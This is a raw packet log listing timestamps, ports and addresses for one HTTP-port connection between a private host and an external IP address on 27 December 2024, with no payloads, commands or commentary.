Dec 27, 2024 14:56:41.656660080 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.657340050 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.657371044 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.657392025 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.657430887 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.657454014 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.657907963 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.658170938 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.658242941 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.658265114 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.658309937 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.658330917 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.659044027 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.659085035 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.659105062 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.659106016 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.659125090 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.659162998 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.659209013 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.660096884 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.660118103 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.660139084 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.660161018 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.660201073 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.660765886 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.660798073 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.660816908 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.660840034 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.660895109 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.660959005 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.661602974 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.710556984 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.850393057 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.850418091 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.850435019 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.850450039 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.850584030 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.850646973 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.850708961 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.850724936 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.850768089 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.851186037 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.851221085 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.851234913 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.851263046 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.851279020 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.851310015 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.852097034 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.852164030 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.852199078 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.852232933 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.852313995 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.852344990 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.852978945 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.853033066 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.853066921 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.853097916 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.853101969 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.853133917 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.853863001 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.853914976 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.853919983 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.853950024 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.853986979 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.854198933 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.854645967 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.854697943 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.854698896 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.854733944 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.854784966 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.854820013 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.855500937 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.855629921 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.855664015 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.855690956 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.855700016 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.855747938 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.856386900 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.856442928 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.856477022 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.856498957 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.856543064 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.856584072 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.857213020 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.857268095 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.857300043 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.857317924 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.857336998 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.857364893 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.858175993 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.858210087 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.858244896 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.858263016 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.858278990 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.858289957 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.858964920 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.859000921 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.859021902 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.859051943 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.859086037 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.859096050 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.859797955 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.859848976 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.859853029 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.859886885 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.859922886 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.860117912 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.860668898 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.860723019 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.860744953 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.860757113 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.860795975 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.860800982 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.861541986 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.861593962 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.861615896 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.861625910 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.861663103 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.861710072 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.862375975 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.862442970 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.862483025 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.862515926 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.862528086 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.862540007 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.863246918 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.863298893 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.863311052 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.863348961 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.863383055 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.863451004 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.864097118 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.864150047 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.864183903 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.864207029 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.864217997 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.864228010 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.864979029 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.865014076 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.865046024 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.865057945 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.865081072 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.865088940 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.865833998 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.865902901 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.865950108 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.865983963 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.866002083 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.866674900 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.866729975 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.866763115 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.866796970 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.866822958 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.867527962 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.867582083 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.867595911 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.867618084 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.867651939 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.867691040 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.868386984 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.868439913 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.868473053 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.868508101 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.868530989 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.869254112 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.869323969 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.869357109 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.869386911 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.869393110 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.869422913 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.870115042 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.870167971 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.870176077 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.870202065 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.870238066 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.870428085 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.870973110 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.871026039 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.871028900 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.871059895 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.871094942 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.871104956 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.871829987 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.871884108 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.871891975 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:41.871917963 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.871952057 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:41.871994972 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.060811996 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.060872078 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.060908079 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.060962915 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.060971022 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.061017036 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.061029911 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.061053038 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.061121941 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.061168909 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.061937094 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.062021017 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.062056065 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.062076092 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.062092066 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.062135935 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.062732935 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.062783957 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.062788010 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.062823057 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.062868118 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.062872887 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.063632011 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.063666105 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.063694954 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.063700914 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.063738108 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.063779116 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.064508915 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.064543009 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.064577103 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.064595938 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.064613104 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.064627886 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.065274954 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.065329075 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.065377951 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.065416098 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.065463066 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.065464020 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.066148043 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.066180944 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.066201925 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.066237926 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.066273928 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.066320896 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.066970110 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.067023993 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.067070961 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.067074060 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.067105055 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.067142963 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.067840099 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.067893028 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.067899942 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.067944050 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.067980051 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.067986012 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.068723917 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.068775892 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.068779945 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.068810940 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.068850040 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.068877935 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.069691896 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.069725037 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.069761038 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.069761992 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.069854975 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.069932938 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.070465088 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.070528984 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.070560932 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.070574999 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.070606947 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.070715904 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.071379900 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.071413994 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.071434975 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.071450949 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.071484089 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.071496010 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.072154999 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.072207928 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.072242975 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.072263002 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.072288990 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.072315931 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.072981119 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.073033094 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.073033094 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.073082924 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.073122978 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.073163033 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.073875904 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.073939085 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.073962927 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.073988914 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.074023008 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.074065924 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.074752092 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.074816942 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.074850082 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.074877977 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.074902058 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.074934959 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.075555086 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.075601101 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.075608015 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.075618982 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.075671911 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.075706005 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.076414108 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.076466084 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.076477051 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.076513052 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.076535940 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.076539993 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.077264071 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.077284098 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.077294111 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.077313900 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.077336073 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.077395916 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.078118086 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.078183889 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.078195095 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.078226089 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.078253031 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.078253984 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.078996897 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.079046011 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.079047918 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.079056025 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.079118967 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.079140902 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.079838991 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.079900026 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.079909086 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.079946995 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.079968929 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.079972982 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.080770969 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.080782890 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.080795050 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.080810070 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.080823898 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.080852985 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:42.081569910 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.081621885 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.081633091 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:42.081669092 CET	49759	80	192.168.2.7	185.215.113.16
